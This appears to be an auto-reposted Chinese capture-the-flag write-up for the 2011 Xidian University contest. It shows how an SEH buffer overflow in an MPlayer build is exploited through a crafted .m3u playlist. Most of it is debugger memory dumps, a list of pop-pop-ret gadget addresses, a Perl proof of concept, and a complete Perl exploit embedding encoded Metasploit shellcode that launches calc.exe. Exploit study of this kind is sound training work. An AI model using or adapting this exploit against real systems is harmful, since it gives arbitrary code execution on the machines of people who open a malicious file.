0022fd40 46 73 31 46 73 32 46 73-33 46 73 34 46 73 35 46 Fs1Fs2Fs3Fs4Fs5F
0022fd50 73 36 46 73 37 46 73 38-46 73 39 46 74 30 46 74 s6Fs7Fs8Fs9Ft0Ft
0:000>
0022fd60 31 46 74 32 46 74 33 46-74 34 46 74 35 46 74 36 1Ft2Ft3Ft4Ft5Ft6
0022fd70 46 74 37 46 74 38 46 74-39 46 75 30 46 75 31 46 Ft7Ft8Ft9Fu0Fu1F
0022fd80 75 32 46 75 33 46 75 34-46 75 35 46 75 36 46 75 u2Fu3Fu4Fu5Fu6Fu
0022fd90 37 46 75 38 46 75 39 46-76 30 46 76 31 46 76 32 7Fu8Fu9Fv0Fv1Fv2
0022fda0 46 76 33 46 76 34 46 76-35 46 76 36 46 76 37 46 Fv3Fv4Fv5Fv6Fv7F
0022fdb0 76 38 46 76 39 46 77 30-46 77 31 46 77 32 46 77 v8Fv9Fw0Fw1Fw2Fw
0022fdc0 33 46 77 34 46 77 35 46-77 36 46 77 37 46 77 38 3Fw4Fw5Fw6Fw7Fw8
0022fdd0 46 77 39 46 78 30 46 78-31 46 78 32 46 78 33 46 Fw9Fx0Fx1Fx2Fx3F
0:000>
0022fde0 78 34 46 78 35 46 78 36-46 78 37 46 78 38 46 78 x4Fx5Fx6Fx7Fx8Fx
0022fdf0 39 46 79 30 46 79 31 46-79 32 46 79 33 46 79 34 9Fy0Fy1Fy2Fy3Fy4
0022fe00 46 79 35 46 79 36 46 79-37 46 79 38 46 79 39 46 Fy5Fy6Fy7Fy8Fy9F
0022fe10 7a 30 46 7a 31 46 7a 32-46 7a 33 46 7a 34 46 7a z0Fz1Fz2Fz3Fz4Fz
0022fe20 35 46 7a 36 46 7a 37 46-7a 38 46 7a 39 47 61 30 5Fz6Fz7Fz8Fz9Ga0
0022fe30 47 61 31 47 61 32 47 61-33 47 61 34 47 61 35 47 Ga1Ga2Ga3Ga4Ga5G
0022fe40 61 36 47 61 37 47 61 38-47 61 39 47 62 30 47 62 a6Ga7Ga8Ga9Gb0Gb
0022fe50 31 47 62 32 47 62 33 47-62 34 47 62 35 47 62 36 1Gb2Gb3Gb4Gb5Gb6
0:000>
0022fe60 47 62 37 47 62 38 47 62-39 47 63 30 47 63 31 47 Gb7Gb8Gb9Gc0Gc1G
0022fe70 63 32 47 63 33 47 63 34-47 63 35 47 63 36 47 63 c2Gc3Gc4Gc5Gc6Gc
0022fe80 37 47 63 38 47 63 39 47-64 30 47 64 31 47 64 32 7Gc8Gc9Gd0Gd1Gd2
0022fe90 47 64 33 47 64 34 47 64-35 47 64 36 47 64 37 47 Gd3Gd4Gd5Gd6Gd7G
0022fea0 64 38 47 64 39 47 65 30-47 65 31 47 65 32 47 65 d8Gd9Ge0Ge1Ge2Ge
0022feb0 33 47 65 34 47 65 35 47-65 36 47 65 37 47 65 38 3Ge4Ge5Ge6Ge7Ge8
0022fec0 47 65 39 47 66 30 47 66-31 47 66 32 47 66 33 47 Ge9Gf0Gf1Gf2Gf3G
0022fed0 66 34 47 66 35 47 66 36-47 66 37 47 66 38 47 66 f4Gf5Gf6Gf7Gf8Gf
0:000>
0022fee0 39 47 67 30 47 67 31 47-67 32 47 67 33 47 67 34 9Gg0Gg1Gg2Gg3Gg4
0022fef0 47 67 35 47 67 36 47 67-37 47 67 38 47 67 39 47 Gg5Gg6Gg7Gg8Gg9G
0022ff00 68 30 47 68 31 47 68 32-47 68 33 47 68 34 47 68 h0Gh1Gh2Gh3Gh4Gh
0022ff10 35 47 68 36 47 68 37 47-68 38 47 68 39 47 69 30 5Gh6Gh7Gh8Gh9Gi0
0022ff20 47 69 31 47 69 32 47 69-33 47 69 34 47 69 35 47 Gi1Gi2Gi3Gi4Gi5G
0022ff30 69 36 47 69 37 47 69 38-47 69 39 47 6a 30 47 6a i6Gi7Gi8Gi9Gj0Gj
0022ff40 31 47 6a 32 47 6a 33 47-6a 34 47 6a 35 47 6a 36 1Gj2Gj3Gj4Gj5Gj6
0022ff50 47 6a 37 47 6a 38 47 6a-39 47 6b 30 47 6b 31 47 Gj7Gj8Gj9Gk0Gk1G
0:000>
0022ff60 6b 32 47 6b 33 47 6b 34-47 6b 35 47 6b 36 47 6b k2Gk3Gk4Gk5Gk6Gk
0022ff70 37 47 6b 38 47 6b 39 47-6c 30 47 6c 31 47 6c 32 7Gk8Gk9Gl0Gl1Gl2
0022ff80 47 6c 33 47 6c 34 47 6c-35 47 6c 36 47 6c 37 47 Gl3Gl4Gl5Gl6Gl7G
0022ff90 6c 38 47 6c 39 47 6d 30-47 6d 31 47 6d 32 47 6d l8Gl9Gm0Gm1Gm2Gm
0022ffa0 33 47 6d 34 47 6d 35 47-6d 36 47 6d 37 47 6d 38 3Gm4Gm5Gm6Gm7Gm8
0022ffb0 47 6d 39 47 6e 30 47 6e-31 47 6e 32 47 6e 33 47 Gm9Gn0Gn1Gn2Gn3G
0022ffc0 6e 34 47 6e 35 47 6e 36-47 6e 37 47 6e 38 47 6e n4Gn5Gn6Gn7Gn8Gn
0022ffd0 39 47 6f 30 47 6f 31 47-6f 32 47 6f 33 47 6f 34 9Go0Go1Go2Go3Go4
0:000>
0022ffe0 47 6f 35 47 6f 36 47 6f-37 47 6f 38 47 6f 39 47 Go5Go6Go7Go8Go9G
0022fff0 70 30 47 70 31 47 70 32-47 70 33 47 70 34 47 70 p0Gp1Gp2Gp3Gp4Gp
现在先来构造一个简单的poc:
“/x90″ x 5115 + “/xeb/x06/x90/x90″ + [pop pop ret] + “/x90/x90/x90/xcc”
在程序的自身的dll中,没装od的 插件就先不管safeseh的事情了。
Executable search path is:
ModLoad: 00400000 00b26000 image00400000
ModLoad: 7c920000 7c9b6000 ntdll.dll
ModLoad: 7c800000 7c91d000 C:/WINDOWS/system32/kernel32.dll
ModLoad: 6ad40000 6b72e000 C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/avcodec-52.dll
ModLoad: 00bd0000 00bfa000 C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/avutil-50.dll
ModLoad: 77be0000 77c38000 C:/WINDOWS/system32/msvcrt.dll
ModLoad: 62480000 62492000 C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/pthreadGC2.dll
ModLoad: 71a40000 71a4b000 C:/WINDOWS/system32/WSOCK32.DLL
ModLoad: 71a20000 71a37000 C:/WINDOWS/system32/WS2_32.dll
ModLoad: 71a10000 71a18000 C:/WINDOWS/system32/WS2HELP.dll
ModLoad: 77da0000 77e49000 C:/WINDOWS/system32/ADVAPI32.dll
ModLoad: 77e50000 77ee2000 C:/WINDOWS/system32/RPCRT4.dll
ModLoad: 77fc0000 77fd1000 C:/WINDOWS/system32/Secur32.dll
ModLoad: 64940000 649f6000 C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/avformat-52.dll
ModLoad: 6d080000 6d0b0000 C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/postproc-51.dll
ModLoad: 6d780000 6d7db000 C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/swscale-0.dll
ModLoad: 77180000 77283000 C:/WINDOWS/WinSxS/X86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.3744_x-ww_d9c64cc6/COMCTL32.DLL
ModLoad: 77ef0000 77f38000 C:/WINDOWS/system32/GDI32.dll
ModLoad: 77d10000 77d9f000 C:/WINDOWS/system32/USER32.dll
……
使用神器msfpescan找pop pop ret 的跳转地址
root@scan:~/Desktop# /opt/metasploit/app/msfpescan -p avcodec-52.dll
[avcodec-52.dll]
0x6ad410b4 pop ebx; pop ebp; ret
0x6ad42838 pop edi; pop ebp; ret
0x6ad42a8e pop edi; pop ebp; ret
0x6ad42c5d pop edi; pop ebp; ret
0x6ad43304 pop edi; pop ebp; ret
0x6ad4340f pop edi; pop ebp; ret
0x6ad44d17 pop edi; pop ebp; ret
0x6ad44e8c pop edi; pop ebp; ret
0x6ad44eae pop edi; pop ebp; ret
0x6ad45048 pop edi; pop ebp; ret
0x6ad45093 pop edi; pop ebp; ret
0x6ad45128 pop edi; pop ebp; ret
0x6ad453cc pop edi; pop ebp; ret
有了跳转地址我们就来写poc。
#!/usr/bin/perl # 2011西安电子科技大学网络攻防大赛 漏洞挖掘题目 poc # by c4rp3nt3r@0x50sec.org # my $junk = "/x90" x 5115; my $nseh = "/xeb/x06/x90/x90"; my $seh = pack('V',0x6ad410b4); #pop pop ret from avcodec-52.dll my $payload = "/x90/x90/x90/xcc" ; open($FH,">poc.m3u"); print $FH $junk.$nseh.$seh.$payload."/r/n"; close($FH);
运行程序,把生成的“poc.m3u”托进程序发现poc成功运行。
0:000> g
ModLoad: 76300000 7631d000 C:/WINDOWS/system32/IMM32.DLL
ModLoad: 62c20000 62c29000 C:/WINDOWS/system32/LPK.DLL
ModLoad: 73fa0000 7400b000 C:/WINDOWS/system32/USP10.dll
ModLoad: 10000000 10035000 C:/Documents and Settings/Administrator/桌面/xdcsc2011/xdcsc2011/漏洞挖掘/mplayer/mplayer_release/mplayer/unrar.dll
ModLoad: 74680000 746cb000 C:/WINDOWS/system32/MSCTF.dll
ModLoad: 77bd0000 77bd8000 C:/WINDOWS/system32/version.dll
ModLoad: 73640000 7366e000 C:/WINDOWS/system32/msctfime.ime
ModLoad: 5adc0000 5adf7000 C:/WINDOWS/system32/uxtheme.dll
ModLoad: 5adc0000 5adf7000 C:/WINDOWS/system32/UxTheme.dll
(894.cec): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0022eab4 ecx=ffffffff edx=0022e6c0 esi=7ffdfbf8 edi=90909090
eip=7c921278 esp=0022e6ac ebp=0022e6c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ntdll!RtlInitAnsiString+0x1b:
7c921278 f2ae repne scas byte ptr es:[edi]
0:000> g
(894.cec): Break instruction exception – code 80000003 (first chance)
eax=00000000 ebx=7c9232a8 ecx=6ad410b4 edx=7c9232bc esi=00000000 edi=00000000
eip=0022ffeb esp=0022e2e8 ebp=0022e3c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
<Unloaded_eme.dll>+0x22ffea:
0022ffeb cc int 3
0:000> d eip-4
0022ffe7 6a 90 90 90 cc 31 00 00-00 00 00 00 00 00 00 00 j….1……….
0022fff7 00 40 11 40 00 00 00 00-00 41 63 74 78 20 00 00 .@.@…..Actx ..
00230007 00 01 00 00 00 b8 24 00-00 c4 00 00 00 00 00 00 ……$………
00230017 00 20 00 00 00 00 00 00-00 14 00 00 00 01 00 00 . …………..
00230027 00 06 00 00 00 34 00 00-00 14 01 00 00 01 00 00 …..4……….
00230037 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 …………….
00230047 00 00 00 00 00 02 00 00-00 00 00 00 00 00 00 00 …………….
00230057 00 00 00 00 00 14 02 00-00 9c 01 00 00 00 00 00 …………….
0:000> d eip-40
0022ffab 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….
0022ffbb 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….
0022ffcb 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 …………….
0022ffdb 90 90 90 90 90 eb 06 90-90 b4 10 d4 6a 90 90 90 …………j…
0022ffeb cc 31 00 00 00 00 00 00-00 00 00 00 00 40 11 40 .1………..@.@
0022fffb 00 00 00 00 00 41 63 74-78 20 00 00 00 01 00 00 …..Actx ……
0023000b 00 b8 24 00 00 c4 00 00-00 00 00 00 00 20 00 00 ..$………. ..
0023001b 00 00 00 00 00 14 00 00-00 01 00 00 00 06 00 00 …………….
好吧现在就写一个能够弹计算器的exploit,safeseh和dep就先不管了。dep用rop绕过就行了,又不是真的比赛这里就不玩了。
#!/usr/bin/perl # 2011西安电子科技大学网络攻防大赛 漏洞挖掘题目 seh exploit # by c4rp3nt3r@0x50sec.org # # windows/exec - 223 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, PrependMigrate=false, EXITFUNC=process, # CMD=calc my $load = "/xba/xa3/xfd/xdd/x88/xd9/xf7/xd9/x74/x24/xf4/x5f/x31/xc9" . "/xb1/x32/x31/x57/x12/x83/xef/xfc/x03/xf4/xf3/x3f/x7d/x06" . "/xe3/x49/x7e/xf6/xf4/x29/xf6/x13/xc5/x7b/x6c/x50/x74/x4c" . "/xe6/x34/x75/x27/xaa/xac/x0e/x45/x63/xc3/xa7/xe0/x55/xea" . "/x38/xc5/x59/xa0/xfb/x47/x26/xba/x2f/xa8/x17/x75/x22/xa9" . "/x50/x6b/xcd/xfb/x09/xe0/x7c/xec/x3e/xb4/xbc/x0d/x91/xb3" . "/xfd/x75/x94/x03/x89/xcf/x97/x53/x22/x5b/xdf/x4b/x48/x03" . "/xc0/x6a/x9d/x57/x3c/x25/xaa/xac/xb6/xb4/x7a/xfd/x37/x87" . "/x42/x52/x06/x28/x4f/xaa/x4e/x8e/xb0/xd9/xa4/xed/x4d/xda" . "/x7e/x8c/x89/x6f/x63/x36/x59/xd7/x47/xc7/x8e/x8e/x0c/xcb" . "/x7b/xc4/x4b/xcf/x7a/x09/xe0/xeb/xf7/xac/x27/x7a/x43/x8b" . "/xe3/x27/x17/xb2/xb2/x8d/xf6/xcb/xa5/x69/xa6/x69/xad/x9b" . "/xb3/x08/xec/xf1/x42/x98/x8a/xbc/x45/xa2/x94/xee/x2d/x93" . "/x1f/x61/x29/x2c/xca/xc6/xc5/x66/x57/x6e/x4e/x2f/x0d/x33" . "/x13/xd0/xfb/x77/x2a/x53/x0e/x07/xc9/x4b/x7b/x02/x95/xcb" . "/x97/x7e/x86/xb9/x97/x2d/xa7/xeb/xfb/xb0/x3b/x77/xfc"; $length = 5115 - length($load); my $junk = "/x90" x $length; my $nseh = "/xeb/x06/x90/x90"; my $seh = pack('V',0x6ad410b4); #pop pop ret from avcodec-52.dll my $pay = "/xe9/x0c/xff/xff/xff" ; # jmp back to shellcode open($FH,">exp.m3u"); print $FH $junk.$load.$nseh.$seh.$pay."/r/n"; close($FH);
该文章由WP-AutoPost插件自动采集发布